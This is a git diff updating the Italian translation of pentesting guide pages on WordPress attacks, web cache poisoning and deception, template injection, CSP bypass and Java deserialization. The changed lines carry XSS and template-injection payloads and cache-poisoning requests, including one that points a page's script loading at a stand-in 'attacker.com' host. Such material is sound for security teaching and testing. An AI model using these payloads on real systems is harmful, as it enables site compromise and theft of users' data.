**scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta). -```markup +```html pingback.ping @@ -196,7 +196,7 @@ Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS. **DDoS** -```markup +```html pingback.ping @@ -210,7 +210,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i ### wp-cron.php DoS Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\ -Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\ +Quando questo file è **accessed** viene eseguita una **query** MySQL "**heavy**", quindi potrebbe essere utilizzato da **attackers** per **cause** un **DoS**.\ Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS). Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi). @@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Ottieni accesso sovrascrivendo un bit -Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi cambiare 1 bit di qualsiasi file wordpress. Quindi potevi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`). +Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -295,7 +295,7 @@ Accedila e vedrai l'URL per eseguire la reverse shell: ### Caricamento e attivazione di un plugin malevolo -Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue: +Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue: 1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374). 2. **Installazione del Plugin**: @@ -307,18 +307,18 @@ Questo metodo prevede l'installazione di un plugin malevolo noto per essere vuln - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito. - Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress. -Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito. +Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza una corretta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito. **Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Da XSS a RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:** - _**Elevazione dei privilegi:**_ Crea un utente in WordPress. - _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress. - _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress. - _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress. -- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress. +- _**(Personalizzati) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress. ## Post Sfruttamento @@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione `register_rest_route`: +È anche possibile esporre funzioni da wordpress registrando un'API REST utilizzando la funzione `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 7841331c2..3dfac6d8a 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,8 +6,8 @@ > **Qual è la differenza tra web cache poisoning e web cache deception?** > -> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione. -> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache. +> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione. +> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache. ## Cache Poisoning @@ -15,7 +15,7 @@ Il cache poisoning mira a manipolare la cache lato client per costringere i clie L'esecuzione di un attacco di cache poisoning comporta diversi passaggi: -1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache. +1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non richiesti per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache. 2. **Sfruttamento degli Input Non Chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante. 3. **Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata. @@ -38,7 +38,7 @@ Tuttavia, nota che **a volte questi tipi di codici di stato non vengono memorizz ### Scoperta: Identificare e valutare gli input non chiave Potresti usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **forzare parametri e intestazioni** che potrebbero **cambiare la risposta della pagina**. Ad esempio, una pagina potrebbe utilizzare l'intestazione `X-Forwarded-For` per indicare al client di caricare lo script da lì: -```markup +```html ``` ### Elicitare una risposta dannosa dal server back-end @@ -52,7 +52,7 @@ Una volta che hai **identificato** la **pagina** che può essere abusata, quale L'intestazione **`X-Cache`** nella risposta potrebbe essere molto utile poiché potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata.\ L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata di nuovo: `Cache-Control: public, max-age=1800` -Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave della cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`. +Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`. Un'altra intestazione relativa alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy. @@ -64,7 +64,7 @@ Quando memorizzi una richiesta nella cache, fai **attenzione alle intestazioni c Un'intestazione come `X-Forwarded-For` viene riflessa nella risposta non sanitizzata.\ Puoi inviare un payload XSS di base e avvelenare la cache in modo che tutti coloro che accedono alla pagina saranno XSSati: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -80,14 +80,14 @@ cache-poisoning-to-dos.md ### Utilizzare l'avvelenamento della cache web per sfruttare le vulnerabilità nella gestione dei cookie I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola. -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache. -### Generazione di discrepanze con delimitatori, normalizzazione e punti +### Generating discrepancies with delimiters, normalization and dots Controlla: @@ -95,9 +95,9 @@ Controlla: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Avvelenamento della cache con traversamento del percorso per rubare la chiave API +### Cache poisoning with path traversal to steal API key -[**Questa descrizione spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web. +[**Questo documento spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web. Questo è spiegato meglio anche in: @@ -105,10 +105,10 @@ Questo è spiegato meglio anche in: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web +### Using multiple headers to exploit web cache poisoning vulnerabilities -A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento. -```markup +A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento. +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### Sfruttare con intestazione `Vary` limitata Se hai scoperto che l'intestazione **`X-Host`** viene utilizzata come **nome di dominio per caricare una risorsa JS** ma l'intestazione **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro del corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github: +Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro dal corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -138,7 +138,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -Ad esempio, è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne. +Ad esempio, è possibile separare **parameters** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -148,7 +148,7 @@ Impara qui come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggl ### Automated testing for Web Cache Poisoning -Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la presenza di web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile. +Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile. Esempio di utilizzo: `wcvs -u example.com` @@ -168,7 +168,7 @@ GitLab utilizza i bucket GCP per memorizzare contenuti statici. **GCP Buckets** ### Rack Middleware (Ruby on Rails) -Nelle applicazioni Ruby on Rails, viene spesso utilizzato il middleware Rack. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, rappresentando un rischio per la sicurezza. +Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 verso la stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza. ### 403 and Storage Buckets @@ -180,11 +180,11 @@ Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esem ### User Agent Rules -Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come il cache poisoning e il DoS. +Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come la cache poisoning e il DoS. ### Illegal Header Fields -Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache. +Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache. ### Finding new headers @@ -194,7 +194,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**. -Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti. +Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **replayando** con i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti. Altre cose da testare: @@ -207,9 +207,9 @@ Altre cose da testare: Un altro esempio molto chiaro può essere trovato in questo write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\ -Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno effettuato l'accesso prima. +Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima. -Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_). +Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare nella cache** i file **basati** sull'**estensione** del file (_.css_) e non basato sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_). Impara qui come eseguire [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index bdaee2623..bf5a8350c 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -31,7 +31,7 @@ Puoi trovare un'implementazione **vulnerabile di Vue** in [https://vue-client-si Payload funzionante: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() E il **codice sorgente** dell'esempio vulnerabile qui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` @@ -69,7 +69,7 @@ javascript:alert(1)%252f%252f..%252fcss-images ``` **Altri payload in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) -## **Elenco di Rilevamento Brute-Force** +## **Elenco di rilevamento Brute-Force** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index fc841dfa5..92349b9ca 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -8,11 +8,11 @@ La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate. -- Implementato tramite header di risposta: +- Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implementato tramite tag meta: +- Implementato tramite meta tag: ```xml ``` @@ -52,12 +52,12 @@ object-src 'none'; - **object-src**: Definisce le fonti consentite per gli elementi ``, ``, e ``. - **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi ``. - **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli. -- **plugin-types**: Limita i tipi mime che una pagina può invocare. +- **plugin-types**: Limita i tipi MIME che una pagina può invocare. - **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS. - **sandbox**: Applica restrizioni simili all'attributo sandbox di un ` ``` -In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\ +In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** così uno script che preveniva CSTI è stato disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\ La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**: ```html javax.activation activation @@ -475,7 +475,7 @@ Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom. pom ``` -**Installa maven** e **compila** il progetto: +**Installa maven**, e **compila** il progetto: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -494,14 +494,14 @@ Leggi di più su questa libreria Java JSON: [https://www.alphabot.com/security/b Java utilizza molto la serializzazione per vari scopi come: - **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc. -- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java. -- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti. +- **RMI (Remote Method Invocation)**: Il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java. +- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti. - **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete. - **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri. ### Prevention -#### Oggetti transient +#### Transient objects Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio: ```java @@ -512,7 +512,7 @@ private transient double margin; // declared transient ``` #### Evitare la serializzazione di una classe che deve implementare Serializable -In scenari in cui alcuni **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito: +In scenari in cui determinati **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -546,7 +546,7 @@ return super.resolveClass(desc); } } ``` -**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklistaggio di classi dannose**, utilizzando un parametro JVM: +**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting delle classi dannose**, utilizzando un parametro JVM: ``` -javaagent:name-of-agent.jar ``` @@ -568,7 +568,7 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate. +**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate. - **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile. - **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi. @@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Prodotti @@ -610,8 +610,8 @@ Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi: ### Sfruttamento -Quindi, fondamentalmente ci sono un **gruppo di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che saranno deserializzati dal consumatore/sottoscrittore**.\ -Questo significa che in questo sfruttamento tutti i **clienti che utilizzeranno quel messaggio verranno infettati**. +Quindi, fondamentalmente ci sono **un sacco di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\ +Questo significa che in questo sfruttamento tutti i **client che utilizzeranno quel messaggio verranno infettati**. Dovresti ricordare che anche se un servizio è vulnerabile (perché deserializza in modo insicuro l'input dell'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità. @@ -619,7 +619,7 @@ Lo strumento 